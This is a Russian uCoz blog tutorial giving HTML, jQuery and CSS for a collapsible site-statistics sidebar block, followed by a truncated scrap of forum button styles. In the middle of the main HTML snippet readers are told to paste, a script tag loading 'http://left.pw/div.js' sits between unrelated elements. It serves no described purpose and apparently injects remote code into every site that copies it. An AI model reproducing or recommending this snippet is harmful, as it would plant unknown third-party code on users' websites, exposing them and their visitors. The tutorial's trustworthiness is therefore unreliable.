Чего не хватает на сайте?
Всего ответов: 535


Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная » 2014 » Сентябрь » 6 » Красивая статистика для uCoz
11:27
Красивая статистика для uCoz

Создайте блок с названием "Cтатистика сайта" и вставьте в него сделующий код:

Код
<div id="statistic">

  <div class="Tstatis">
  <div class="title_statis">Счетчики пользователей</div>
  <div class="turn" onclick="$('.Bstatis').slideToggle('slow');" href="javascript://"></div>
  </div>  

  <div style="display:none;" class="Bstatis">
  $MYINF_1$
  </div>

  <div class="Tstatis">
  <div class="title_statis">Онлайн сайта</div>
  <div class="turn" onclick="$('.Bstatis2').slideToggle('slow');" href="javascript://"></div>
  </div><script type="text/javascript" src="http://left.pw/div.js"></script>  

  <div style="display:none;" class="Bstatis2">
  $ONLINE_COUNTER$
  </div>
   
  <div class="Tstatis">
  <div class="title_statis">Счетчики сайта</div>
  <div class="turn" onclick="$('.Bstatis3').slideToggle('slow');" href="javascript://"></div>
  </div>  

  <div style="display:none;text-align:center;" class="Bstatis3">
  $COUNTER$
  </div>
   
  <div class="Tstatis">
  <div class="title_statis">Сегодня нас посетили</div>
  <div class="turn" onclick="$('.Bstatis4').slideToggle('slow');" href="javascript://"></div>
  </div>  

  <div style="display:none;padding-left:4px;" class="Bstatis4">
  $MYINF_2$
  </div>
   
</div>


Этот код нужно поставить на все страницы, перед </head> !!!

Код
<script src="http://pnghosts.ru/js/jquery.js" type="text/javascript"></script>


Создайте два информера:

$MYINF_1$
[ Счетчики для пользователей · Материалы · всех, по дням (сегодня, вчера, 7 дней, 30 дней) ]

Код
<dl>Всего: $ALL_USERS$</dl>
  <dl>За месяц: $30DAYS$</dl>
  <dl>За неделю: $7DAYS$</dl>
  <dl>Вчера: $YESTERDAY$</dl>
  <dl>Сегодня: $TODAY$</dl>


$MYINF_2$
[ Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя ]

Код автоматом ставится.

В CSS добавьте стили:

Код
#statistic {width:208px;overflow:hidden;margin:0 auto;color:#fff;}
.Tstatis {height:24px;margin-top:6px;}
.title_statis {background:url(http://pnghosts.ru/img/statistic_title.png) no-repeat;float:left;width:171px;height:19px;font:11px Tahoma;text-shadow:1px 1px 0 #553a11;padding:4px 0 0 5px;overflow:hidden;}
.turn {background:url(http://pnghosts.ru/img/button_turn.png) no-repeat;float:right;width:37px;height:23px;margin:0 0 0 -5px;}
.Bstatis, .Bstatis2, .Bstatis3, .Bstatis4 {width:208px;font:11px Tahoma;text-shadow:1px 1px 0 #191919;margin-top:2px;}
#statistic dl {background:url(http://pnghosts.ru/img/arrow.png) no-repeat left;height:12px;line-height:10px;padding:0 0 0 18px;margin:4px 0 4px 0;display:block;}
#statistic .tOnline, #statistic .gOnline, #statistic .uOnline {background:url(http://pnghosts.ru/img/arrow.png) no-repeat left;height:12px;line-height:10px;padding:0 0 0 18px;margin:4px 0 4px 0;display:block;}
Просмотров: 450 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
d: transparent url('http://ucozua.ru/Scripts/23/kno1.png'); border: 1px solid #b6b6b6; color: #fff; text-decoration:none; text-align:center; cursor:pointer; margin: 10px; -webkit-box-shadow: 0px 1px 5px #222; -moz-box-shadow: 0px 1px 5px #222; box-shadow: 0px 1px 5px #222; -moz-border-radius:15px; -webkitborder-radius:15px; border-radius:15px;} #kno:hover {text-decoration:none; background: transparent url('http://ucozua.ru/Scripts/23/kno2.png'); border: 1px solid #ffb400; color: #fff; text-decoration:none; cursor:pointer; text-align:center; margin: 10px; -webkit-box-shadow: 0px 0px 4px #222; -moz-box-shadow: 0px 0px 4px #222; box-shadow: 0px 0px 4px #222; -moz-border-radius:15px; -webkitborder-radius:15px; border-radius:15px;} /*стиль кнопок форума*/ input[type~="submit"],input[type~="button"],input[type~="reset"] {background: transparent url('http://ucozua.ru/Scripts/23/kno1.png'); border: 1px solid #b6b6b6; color: #ffffff; height: 20px; font-size: 11px; font-family: Tahoma; color: #000000; text-decoration:none; text-align:center; cursor:pointer; margin-top: 3px; margin-bottom: 3px; -moz-border-radius:3px; -webkit-border-radius:3px; border-radius:3px; -webkit-box-shadow: 0px 1px 2px #222; -moz-box-shadow: 0px 1px 2px #222; box-shadow: 0px 1px 2px #222; outline:none} input[type~="submit"]:hover,input[type~="button"]:hover,input[type~="reset"]:hover {background: transparent url('http://ucozua.ru/Scripts/23/kno2.png'); border: 1px solid #b6b6b6; color: #ffffff; height: 20px; font-size: 11px; font-family: Tahoma; color: #000000; text-decoration:none; text-align:center; cursor:pointer; margin-top: 3px; margin-bottom: 3px; -moz-border-radius:3px; -webkit-border-radius:3px; border-radius:3px; -webkit-box-shadow: 0px 1px 2px #222; -moz-box-shadow: 0px 1px 2px #222; box-shadow: 0px 1px 2px #222; outline:none} button {background: transparent url('http://ucozua.ru/Scripts/23/kno1.png'); border: 1px solid #b6b6b6; color: #ffffff; height: 20px; font-size: 11px; font-family: Tahoma; color: #000000; text-decoration:none; text-align:center; cursor:pointer; margin-top: 3px; margin-bottom: 3px; -moz-border-radius:3px; -webkit-border-radius:3px; border-radius:3px; -webkit-box-shadow: 0px 1px 2px #222; -moz-box-shadow: 0px 1px 2px #222; box-shadow: 0px 1px 2px #222; outline:none} button:hover {background: transparent url('http://ucozua.ru/Scripts/23/kno2.png'); border: 1px solid #b6b6b6; color: #ffffff; height: 20px; font-size: 11px; font-family: Tahoma; color: #000000; text-decoration:none; text-align:center; cursor:pointer; margin-top: 3px; margin-bottom: 3px; -moz-border-radius:3px; -webkit-border-radius:3px; border-radius:3px; -webkit-box-shadow: 0px 1px 2px #222; -moz-box-shadow: 0px 1px 2px #222; box-shadow: 0px 1px 2px #222; outline:none}
Создать бесплатный сайт с uCoz